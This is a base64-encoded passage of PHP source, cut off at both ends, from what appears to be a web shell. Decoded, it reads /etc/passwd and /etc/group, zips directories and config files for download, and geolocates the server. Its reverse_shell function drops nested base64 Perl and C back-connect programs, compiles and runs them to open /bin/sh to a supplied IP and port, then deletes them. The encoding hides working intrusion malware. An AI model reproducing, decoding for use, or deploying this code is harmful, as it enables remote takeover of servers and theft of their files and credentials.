JzsNCiAgICAgICAgfWVsc2V7DQoNCiAgICAgICAgICAgICRyZWFkX2FzX2FyciA9IEBhcnJheV9tYXAoJ3RyaW0nLEBmaWxlKCcvZXRjL3Bhc3N3ZCcpKTsNCiAgICAgICAgICAgIHJldHVybiBjb3VudCgkcmVhZF9hc19hcnIpOw0KICAgICAgICB9DQogICAgfQ0KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRfZ3JvdXBzX2NvdW50KCl7DQogICAgICAgIGlmKHN0cnRvdXBwZXIoc3Vic3RyKFBIUF9PUywgMCwgMykpID09PSAnV0lOJyl7DQogICAgICAgICAgICByZXR1cm4gJ1dpbmRvd3Mgbm90IHN1cHBvcnRlZCc7DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgJHJlYWRfYXNfYXJyID0gQGFycmF5X21hcCgndHJpbScsQGZpbGUoJy9ldGMvZ3JvdXAnKSk7DQogICAgICAgICAgICByZXR1cm4gY291bnQoJHJlYWRfYXNfYXJyKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBwdWJsaWMgZnVuY3Rpb24gZG93bmxvYWRfYXNfemlwKCR0YXJnZXQpew0KICAgICAgICAvLyBodHRwczovL3N0YWNrb3ZlcmZsb3cuY29tL3F1ZXN0aW9ucy81NTkyNzAyMC9ob3ctdG8temlwLWFuLWVudGlyZS1mb2xkZXItaW4tcGhwLWV2ZW4tdGhlLWVtcHR5LW9uZXMNCiAgICAgICAgaWYoIWlzX3JlYWRhYmxlKCR0YXJnZXQpKSByZXR1cm4gZmFsc2U7DQogICAgICAgICRyb290UGF0aCAgICA9IHJlYWxwYXRoKCR0YXJnZXQpOw0KICAgICAgICAkemlwRmlsZW5hbWUgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ10uJy0nLnVuaXFpZCgpLicuemlwJzsNCiAgICAgICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7DQogICAgICAgIGlmKCR6aXAtPm9wZW4oJHppcEZpbGVuYW1lLCBaaXBBcmNoaXZlOjpDUkVBVEUpKXsNCiAgICAgICAgICAgIC8qKiBAdmFyIFNwbEZpbGVJbmZvW10gJGZpbGVzICovDQogICAgICAgICAgICAkZmlsZXMgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJHJvb3RQYXRoKSwgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcjo6TEVBVkVTX09OTFkpOw0KDQogICAgICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJG5hbWUgPT4gJGZpbGUpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGZpbGVQYXRoID0gJGZpbGUtPmdldFJlYWxQYXRoKCk7DQogICAgICAgICAgICAgICAgJHJlbGF0aXZlUGF0aCA9IHN1YnN0cigkZmlsZVBhdGgsIHN0cmxlbigkcm9vdFBhdGgpICsgMSk7DQoNCiAgICAgICAgICAgICAgICBpZiAoISRmaWxlLT5pc0RpcigpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgLy8gQWRkIGN1cnJlbnQgZmlsZSB0byBhcmNoaXZlDQogICAgICAgICAgICAgICAgICAgICR6aXAtPmFkZEZpbGUoJGZpbGVQYXRoLCAkcmVsYXRpdmVQYXRoKTsNCiAgICAgICAgICAgICAgICB9ZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGlmKCRyZWxhdGl2ZVBhdGggIT09IGZhbHNlKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+YWRkRW1wdHlEaXIoJHJlbGF0aXZlUGF0aCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYoJHppcC0+c3RhdHVzID09IFppcEFyY2hpdmU6OkVSX09LKXsNCiAgICAgICAgICAgICAgICAkemlwLT5jbG9zZSgpOw0KICAgICAgICAgICAgICAgIHJldHVybiAkemlwRmlsZW5hbWU7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICAkemlwLT5jbG9zZSgpOw0KICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfWVsc2V7DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCg0KICAgIH0NCiAgICBwdWJsaWMgZnVuY3Rpb24gZG93bmxvYWRfY29uZmlncygkY29uZmlncyl7DQogICAgICAgICRjb25maWdzID0gZXhwbG9kZSgiXG4iLCRjb25maWdzKTsNCiAgICAgICAgJGNvbmZpZ3MgPSBhcnJheV9maWx0ZXIoJGNvbmZpZ3MpOw0KICAgICAgICAkY29uZmlncyA9IGFycmF5X3VuaXF1ZSgkY29uZmlncyk7DQogICAgICAgICRjb25maWdzID0gYXJyYXlfbWFwKCd0cmltJywkY29uZmlncyk7DQogICAgICAgICR6aXBUZW1wID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddLictY29uZmlncy56aXAnOyANCiAgICAgICAgJHppcCAgICAgPSBuZXcgWmlwQXJjaGl2ZSgpOw0KDQogICAgICAgIGlmKCR6aXAtPm9wZW4oJHppcFRlbXAsWmlwQXJjaGl2ZTo6Q1JFQVRFKSl7DQogICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgZm9yZWFjaCgkY29uZmlncyBhcyAkY29uZmlnKXsNCiAgICAgICAgICAgICAgICR6aXAtPmFkZEZpbGUoJGNvbmZpZyxiYXNlbmFtZSgkY29uZmlnKSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZigkemlwLT5zdGF0dXMgPT0gWmlwQXJjaGl2ZTo6RVJfT0spew0KICAgICAgICAgICAgICAgICR6aXAtPmNsb3NlKCk7DQogICAgICAgICAgICAgICAgcmV0dXJuICR6aXBUZW1wOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsNCiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgICAgICB9DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9ICAgIA0KICAgIH0NCiAgICBwdWJsaWMgZnVuY3Rpb24gcmV2ZXJzZV9zaGVsbCgkaXAsJHBvcnQsJG1ldGhvZCl7DQoNCiAgICAgICAgaWYoJG1ldGhvZCA9PSAicGVybCIpew0KICAgICAgICAgICAgJGJhY2tfY29ubmVjdF9wbCA9ICJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdOdFpEMGdJbXg1Ym5naU93MEtKSE41YzNSbGJUMGdKMlZqYUc4Z0ltQjFibUZ0WlNBdFlXQWlPMlZqDQogICAgICAgICAgICBhRzhnSW1CcFpHQWlPeTlpYVc0dmMyZ25PdzBLSkRBOUpHTnRaRHNOQ2lSMFlYSm5aWFE5SkVGU1IxWmJNRjA3RFFva2NHOXlkRDBrUVZKSFZsc3hYVHNOQ2lScFlXUmtjajFwYm1WMFgyRjBiMjRvSkhSDQogICAgICAgICAgICBoY21kbGRDa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUndiM0owTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUDQogICAgICAgICAgICBzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9JDQogICAgICAgICAgICBrVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpDQogICAgICAgICAgICBLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2drYzNsemRHVnRLVHNOQ21Oc2IzTmxLRk5VUkVsDQogICAgICAgICAgICBPS1RzTkNtTnNiM05sS0ZOVVJFOVZWQ2s3RFFwamJHOXpaU2hUVkVSRlVsSXBPdz09IjsNCg0KICAgICAgICAgICAgJHBlcmxfcGF0aCA9ICdtd3NfcmV2LnBsJzsNCiAgICAgICAgICAgIGlmKEBmaWxlX3B1dF9jb250ZW50cygkcGVybF9wYXRoLGJhc2U2NF9kZWNvZGUoJGJhY2tfY29ubmVjdF9wbCkpKXsNCiAgICAgICAgICAgICAgICBAY2htb2QoJHBlcmxfcGF0aCxvY3RkZWMoIjA3NTUiKSk7DQogICAgICAgICAgICAgICAgJGV4ZWNfY29tbWFuZCA9ICR0aGlzLT5ydW5fY21kKCJwZXJsICRwZXJsX3BhdGggJGlwICRwb3J0ICYiKTsNCg0KICAgICAgICAgICAgICAgIGlmKCRleGVjX2NvbW1hbmQgIT09IGZhbHNlKXsNCiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkcGVybF9wYXRoKTsNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJHBlcmxfcGF0aCk7DQogICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgICAgICB9DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgJGJhY2tfY29ubmVjdF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNsekwzTnZZMnRsZEM1b1BnMEtJMmx1WTJ4MVpHVWdQRzVsZEdsdVpYUXZhVzR1YUQ0TkNtbHVkQw0KICAgICAgICAgICAgQnRZV2x1S0dsdWRDQmhjbWRqTENCamFHRnlJQ3BoY21kMlcxMHBEUXA3RFFvZ2FXNTBJR1prT3cwS0lITjBjblZqZENCemIyTnJZV1JrY2w5cGJpQnphVzQ3RFFvZ1kyaGhjaUJ5YlhOYk1qRmRQU0p5Yg0KICAgICAgICAgICAgU0F0WmlBaU95QU5DaUJrWVdWdGIyNG9NU3d3S1RzTkNpQnphVzR1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2djMmx1TG5OcGJsOXdiM0owSUQwZ2FIUnZibk1vWVhSdmFTaGhjbWQyV3pKZA0KICAgICAgICAgICAgS1NrN0RRb2djMmx1TG5OcGJsOWhaR1J5TG5OZllXUmtjaUE5SUdsdVpYUmZZV1JrY2loaGNtZDJXekZkS1RzZ0RRb2dZbnBsY204b1lYSm5kbHN4WFN4emRISnNaVzRvWVhKbmRsc3hYU2tyTVN0emRISg0KICAgICAgICAgICAgc1pXNG9ZWEpuZGxzeVhTa3BPeUFOQ2lCbVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnU1ZCUVVrOVVUMTlVUTFBcElEc2dEUW9nYVdZZ0tDaGpiMjV1WldOMEtHWmtMQw0KICAgICAgICAgICAgQW9jM1J5ZFdOMElITnZZMnRoWkdSeUlDb3BJQ1p6YVc0c0lITnBlbVZ2WmloemRISjFZM1FnYzI5amEyRmtaSElwS1NrOE1Da2dldzBLSUNBZ2NHVnljbTl5S0NKYkxWMGdZMjl1Ym1WamRDZ3BJaWs3RA0KICAgICAgICAgICAgUW9nSUNCbGVHbDBLREFwT3cwS0lIME5DaUJ6ZEhKallYUW9jbTF6TENCaGNtZDJXekJkS1RzTkNpQnplWE4wWlcwb2NtMXpLVHNnSUEwS0lHUjFjRElvWm1Rc0lEQXBPdzBLSUdSMWNESW9abVFzSURFcA0KICAgICAgICAgICAgT3cwS0lHUjFjRElvWm1Rc0lESXBPdzBLSUdWNFpXTnNLQ0l2WW1sdUwzTm9JaXdpYzJnZ0xXa2lMQ0JPVlV4TUtUc05DaUJqYkc5elpTaG1aQ2s3SUEwS2ZRPT0iOw0KDQogICAgICAgICAgICAkY19wYXRoID0gJ213c19yZXZfYy5jJzsNCg0KICAgICAgICAgICAgaWYoQGZpbGVfcHV0X2NvbnRlbnRzKCRjX3BhdGgsYmFzZTY0X2RlY29kZSgkYmFja19jb25uZWN0X2MpKSl7DQogICAgICAgICAgICAgICAgJGNvbXBpbGUgPSAkdGhpcy0+cnVuX2NtZCgiZ2NjIC1vIG13c19yZXZfYyAkY19wYXRoIik7DQoNCiAgICAgICAgICAgICAgICBpZigkY29tcGlsZSAhPT0gZmFsc2Upew0KICAgICAgICAgICAgICAgICAgICBpZihmaWxlX2V4aXN0cygnbXdzX3Jldl9jJykpew0KICAgICAgICAgICAgICAgICAgICAgICAgQHVubGluaygkY19wYXRoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIEBjaG1vZCgnbXdzX3Jldl9jJyxvY3RkZWMoIjA3NTUiKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAkZXhlY19jb21tYW5kID0gJHRoaXMtPnJ1bl9jbWQoIi4vbXdzX3Jldl9jICRpcCAkcG9ydCAmIik7DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZXhlY19jb21tYW5kICE9PSBmYWxzZSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQHVubGluaygnbXdzX3Jldl9jJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICB9ZWxzZXtAdW5saW5rKCdtd3NfcmV2X2MnKTtyZXR1cm4gZmFsc2U7fQ0KICAgICAgICAgICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJGNfcGF0aCk7DQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9ZWxzZXtAdW5saW5rKCRjX3BhdGgpO3JldHVybiBmYWxzZTt9DQogICAgICAgICAgICB9ZWxzZXtyZXR1cm4gZmFsc2U7fQ0KICAgICAgICB9DQoNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0X2lwX2luZm9ybWF0aW9uKCl7DQogICAgICAgICRpbmZvcm1hdGlvbnMgPSBhcnJheSgpOw0KDQogICAgICAgICRzZXJ2ZXJfaXAgPSAkX1NFUlZFUlsnU0VSVkVSX0FERFInXTsNCiAgICAgICAgDQogICAgICAgICRzaXRlcyAgICAgPSBhcnJheSgNCiAgICAgICAgJ2h0dHA6Ly9pcC1hcGkuY29tL2pzb24vJy4kc2VydmVyX2lwLA0KICAgICAgICAnaHR0cHM6Ly9pcHdob2lzLmFwcC9qc29uLycuJHNlcnZlcl9pcCwNCiAgICAgICAgJ2h0dHBzOi8vaXBhcGkuY28vJy4kc2VydmVyX2lwLicvanNvbi8nLA0KICAgICAgICAnaHR0cHM6Ly9mcmVlLmlwZGV0YWlscy5pby8nLiRzZXJ2ZXJfaXAsDQogICAgICAgICdodHRwczovL2lwaW5mby5pby8nLiRzZXJ2ZXJfaXAuJy9qc29uJyk7DQoNCiAgICAgICAgZm9yZWFjaCgkc2l0ZXMgYXMgJGtleSA9PiAkbG9va3VwX2FkZHIpew0KICAgICAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX2luaXQnKSl7DQogICAgICAgICAgICAgICAgJGN1cmwgICAgICA9ICBjdXJsX2luaXQoKTsNCiAgICAgICAgICAgICAgICBjdXJsX3NldG9wdF9hcnJheSgkY3VybCxhcnJheSgNCiAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiA9PiAxLA0KICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OID0+IHRydWUsDQogICAgICAgICAgICAgICAgICAgIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QgPT4gMCwNCiAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiA9PiAwLA0KICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX1VTRVJBR0VOVCA9PiAnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvOTMuMC40NTc3LjgyIFNhZmFyaS81MzcuMzYgT1BSLzc5LjAuNDE0My43MicsDQogICAgICAgICAgICAgICAgICAgIENVUkxPUFRfVVJMID0+ICRsb29rdXBfYWRkciwNCiAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9USU1FT1VUID0+IDEwKSk7DQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICRjb250ZW50ICAgPSBjdXJsX2V4ZWMoJGN1cmwpOw0KICAgICAgICAgICAgICAgIGN1cmxfY2xvc2UoJGN1cmwpOw0KICAgICAgICAgICAgfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ2ZpbGVfZ2V0X2NvbnRlbnRzJykpew0KICAgICAgICAgICAgICAgICRvcHRpb25zID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKGFycmF5KCJodHRwIiA9PiBhcnJheSgidGltZW91dCIgPT4gMTApKSk7DQogICAgICAgICAgICAgICAgJGNvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygkbG9va3VwX2FkZHIsZmFsc2UsJG9wdGlvbnMpOw0KICAgICAgICAgICAgfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ2ZvcGVuJykpew0KICAgICAgICAgICAgICAgICRvcHRpb25zID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKGFycmF5KCJodHRwIiA9PiBhcnJheSgidGltZW91dCIgPT4gMTApKSk7DQogICAgICAgICAgICAgICAgJGZvcGVuID0gZm9wZW4oJGxvb2t1cF9hZGRyLCdyJyxmYWxzZSwkb3B0aW9ucyk7DQoNCiAgICAgICAgICAgICAgICBpZigkZm9wZW4pew0KICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9ICcnOw0KICAgICAgICAgICAgICAgICAgICB3aGlsZSgkcmVhZCA9IGZyZWFkKCRmb3BlbiwxMDI0KSl7DQogICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCAuPSAkcmVhZDsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJGZvcGVuKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZigkY29udGVudCl7DQogICAgICAgICAgICAgICAgJGRlY29kZSA9IGpzb25fZGVjb2RlKCRjb250ZW50KTsNCiAgICAgICAgICAgICAgICBpZigka2V5ID09IDApew0KICAgICAgICAgICAgICAgICAgICBpZigkZGVjb2RlLT5zdGF0dXMpew0KICAgICAgICAgICAgICAgICAgICAgICAgJGluZm9ybWF0aW9uc1snaXAnXSAgICAgID0gJHNlcnZlcl9pcDsNCiAgICAgICAgICAgICAgICAgICAgICAgICRpbmZvcm1hdGlvbnNbJ2NvdW50cnknXSA9ICRkZWNvZGUtPmNvdW50cnk7DQogICAgICAgICAgICAgICAgICAgICAgICAkaW5mb3JtYXRpb25zWydjaXR5J10gPSAkZGVjb2RlLT5jaXR5Ow0KICAgICAgICAgICAgICAgICAgICAgICAgJGluZm9ybWF0aW9uc1sncmVnaW9uJ10gPSAkZGVjb2RlLT5yZWdpb25OYW1lOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGluZm9ybWF0aW9uc1sndGltZXpvbmUnXSA9ICRkZWNvZGUtPnRpbWV6b25lOw0KICAgICAgICAgICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICAgICAgICAgICRpbmZvcm1hdGlvbnNbJ2lwJ10gICAgICA9ICRzZXJ2ZXJfaXA7DQogICAgICAgICAgICAgICAgICAgICAgICAkaW5mb3JtYXRpb25zWydjb3VudHJ5J10gPSAnVW5rbm93bic7DQogICAgICAgICAgICAgICAgICAgICAgICAkaW5mb3JtYXRpb25zWydjaXR5J10gPSAnVW5rbm93bic7DQogICAgICAgICAgICAgICAgICAgICAgICAkaW5mb3JtYXRpb25zWydyZWdpb24nXSA9ICdVbmtub3duJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRpbmZvcm1hdGlvbnNbJ3RpbWV6b25lJ10gPSAnVW5rbm93bic7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9ZWxzZWlmKCRrZXkgPT0gMSl7DQogICAgICAgICAgICAgICAgICAgIGlmKCRkZWNvZGUtPnN1Y2Nlc3Mpew0KICAgICAgICAgICAgICAgICAgICAgICAgJGluZm9ybWF0aW9uc1snaXAnXSAgICAgID0gJHNlcnZlcl9pcDsNCiAgICAgICAgICAgICAgICAgICAgICAgICRpbmZvcm1hdGlvbnNbJ2NvdW50cnknXSA9ICRkZWNvZGUtPmNvdW50cnk7DQogICAgICAgICAgICAgICAgICAgICAgICAkaW5mb3JtYXRpb25zWydjaXR5J10gPSAkZGVjb2RlLT5jaXR5Ow0KICAgICAgICAgICAgICAgICAgICAgICAgJGluZm9ybWF0aW9uc1sncmVnaW9uJ10gPSAkZGVjb2RlLT5yZWdpb247DQogICAgICAgICAgICAgICAgICAgICAgICAkaW5mb3JtYXRpb25zWyd0aW1lem9uZSddID0gJGRlY29kZS0+dGltZXpvbmU7DQogICAgICAgICAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgICAgICAgICAgJGluZm9ybWF0aW9uc1snaXAnXSAgICAgID0gJHNlcnZlcl9pcDsNCiAgICAgICAgICAgICAgICAgICAgICAgICRpbmZvcm1hdGlvbnNbJ2NvdW50cnknXSA9ICdVbmtub3duJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRpbmZvcm1hdGlvbnNbJ2NpdHknXSA9ICdVbmtub3duJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRpbmZvcm1hdGlvbnNbJ3JlZ2lvbiddID0gJ1Vua25vd24nOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGluZm9ybWF0aW9uc1sndGltZXpvbmUnXSA9ICdVbmtub3duJzsNCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICB9ZWxzZWlmKCRrZXkgPT0gMil7DQogICAgICAgICAgICAgICAgICAgIGlmKCRkZWNvZGUtPmNvdW50cnlfbmFtZSl7DQogICAgICAgICAgICAgICAgICAgICAgICAkaW5mb3JtYXRpb25zWydpcCddICAgICAgPSAkc2VydmVyX2lwOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGluZm9ybWF0aW9uc1snY291bnRyeSddID0gJGRlY29kZS0+Y291bnRyeV9uYW1lOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGluZm9ybWF0aW9uc1snY2l0eSddID0gJGRlY29kZS0+Y2l0eTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRpbmZvcm1hdGlvbnNbJ3JlZ2lvbiddID0gJGRlY29kZS0+cmVnaW9uOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGluZm9ybWF0aW9uc1sndGltZXpvbmUnXSA9ICRkZWNvZGUtPnRpbWV6b25lOw0KICAgICAgICAgICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICAgICAgICAgICRpbmZvcm1hdGlvbnNbJ2lwJ10gICAgICA9ICRzZXJ2ZXJfaXA7DQogICAgICAgICAgICAgICAgICAgICAgICAkaW5mb3JtYXRpb25zWydjb3VudHJ5J10gPSAnVW5rbm93bic7DQogICAgICAgICAgICAgICAgICAgICAgICAkaW5mb3JtYXRpb25zWydjaXR5J10gPSAnVW5rbm93bic7DQogICAgICAgICAgICAgICAgICAgICAgICAkaW5mb3JtYXRpb25zWydyZWdpb24nXSA9ICdVbmtub3duJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRpbmZvcm1hdGlvbnNbJ3RpbWV6b25lJ10gPSAnVW5rbm93bic7DQogICAgICAgICAgICAgICAgICAgIH0gIA0KICAgICAgICAgICAgICAgIH1lbHNlaWYoJGtleSA9PSAzKXsNCiAgICAgICAgICAgICAgICAgICAgaWYoJGRlY29kZS0+c3RhdHVzKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICRpbmZvcm1hdGlvbnNbJ2lwJ10gICAgICA9ICRzZXJ2ZXJfaXA7DQogICAgICAgICAgICAgICAgICAgICAgICAkaW5mb3JtYXRpb25zWydjb3VudHJ5J10gPSAkZGVjb2RlLT5jb3VudHJ5LT5jb3VudHJ5X2xvbmc7DQogICAgICAgICAgICAgICAgICAgICAgICAkaW5mb3JtYXRpb25zWydjaXR5J10gPSAkZGVjb2RlLT5yZWdpb24tPmNpdHk7DQogICAgICAgICAgICAgICAgICAgICAgICAkaW5mb3JtYXRpb25zWydyZWdpb24nXSA9ICRkZWNvZGUtPnJlZ2lvbi0+cmVnaW9uOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGluZm9ybWF0aW9uc1sndGltZXpvbmUnXSA9ICRkZWNvZGUtPnRpbWV6b25lLT50aW1lem9uZTsNCiAgICAgICAgICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgICAgICAgICAkaW5mb3JtYXRpb25zWydpcCddICAgICAgPSAkc2VydmVyX2lwOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGluZm9ybWF0aW9uc1snY291bnRyeSddID0gJ1Vua25vd24nOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGluZm9ybWF0aW9uc1snY2l0eSddID0gJ1Vua25vd24nOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGluZm9ybWF0aW9uc1sncmVnaW9uJ10gPSAnVW5rbm93bic7DQogICAgICAgICAgICAgICAgICAgICAgICAkaW5mb3JtYXRpb25zWyd0aW1lem9uZSddID0gJ1Vua25vd24nOw0KICAgICAgICAgICAgICAgICAgICB9ICANCiAgICAgICAgICAgICAgICB9ZWxzZWlmKCRrZXkgPT0gNCl7DQogICAgICAgICAgICAgICAgICAgIGlmKCRkZWNvZGUtPmNvdW50cnkpew0KICAgICAgICAgICAgICAgICAgICAgICAgJGluZm9ybWF0aW9uc1snaXAnXSAgICAgID0gJHNlcnZlcl9pcDsNCiAgICAgICAgICAgICAgICAgICAgICAgICRpbmZvcm1hdGlvbnNbJ2NvdW50cnknXSA9ICRkZWNvZGUtPmNvdW50cnk7DQogICAgICAgICAgICAgICAgICAgICAgICAkaW5mb3JtYXRpb25zWydjaXR5J10gPSAkZGVjb2RlLT5jaXR5Ow0KICAgICAgICAgICAgICAgICAgICAgICAgJGluZm9ybWF0aW9uc1sncmVnaW9uJ10gPSAkZGVjb2RlLT5yZWdpb247DQogICAgICAgICAgICAgICAgICAgICAgICAkaW5mb3JtYXRpb25zWyd0aW1lem9uZSddID0gJGRlY29kZS0+dGltZXpvbmU7DQogICAgICAgICAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgICAgICAgICAgJGluZm9ybWF0aW9uc1snaXAnXSAgICAgID0gJHNlcnZlcl9pcDsNCiAgICAgICAgICAgICAgICAgICAgICAgICRpbmZvcm1hdGlvbnNbJ2NvdW50cnknXSA9ICdVbmtub3duJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRpbmZvcm1hdGlvbnNbJ2NpdHknXSA9ICdVbmtub3duJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRpbmZvcm1hdGlvbnNbJ3JlZ2lvbiddID0gJ1Vua25vd24nOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGluZm9ybWF0aW9uc1sndGltZXpvbmUnXSA9ICdVbmtub3duJzsNCiAgICAgICAgICAgICAgICAgICAgfSAgDQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgaWYoIWVtcHR5KCRpbmZvcm1hdGlvbnMpKSBicmVhazsNCg0KICAgICAgICB9DQogICAgICAgDQogICAgICAgIHJldHVybiAkaW5mb3JtYXRpb25zOw0KICAgIH0NCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0TWltZVR5cGUoICRmaWxlbmFtZSApIHsNCiAgICAgICAgJHJlYWxwYXRoID0gcmVhbHBhdGgoICRmaWxlbmFtZSApOw0KICAgICAgICBpZiAoICRyZWFscGF0aA0KICAgICAgICAgICAgICAgICYmIGZ1bmN0aW9uX2V4aXN0cyggJ2ZpbmZvX2ZpbGUnICkNCiAgICAgICAgICAgICAgICAmJiBmdW5jdGlvbl9leGlzdHMoICdmaW5mb19vcGVuJyApDQogICAgICAgICAgICAgICAgJiYgZGVmaW5lZCggJ0ZJTEVJTkZPX01JTUVfVFlQRScgKQ0KICAgICAgICApIHsNCiAgICAgICAgICAgICAgICAvLyBVc2UgdGhlIEZpbGVpbmZvIFBFQ0wgZXh0ZW5zaW9uIChQSFAgNS4zKykNCiAgICAgICAgICAgICAgICByZXR1cm4gZmluZm9fZmlsZSggZmluZm9fb3BlbiggRklMRUlORk9fTUlNRV9UWVBFICksICRyZWFscGF0aCApOw0KICAgICAgICB9DQogICAgICAgIGlmICggZnVuY3Rpb25fZXh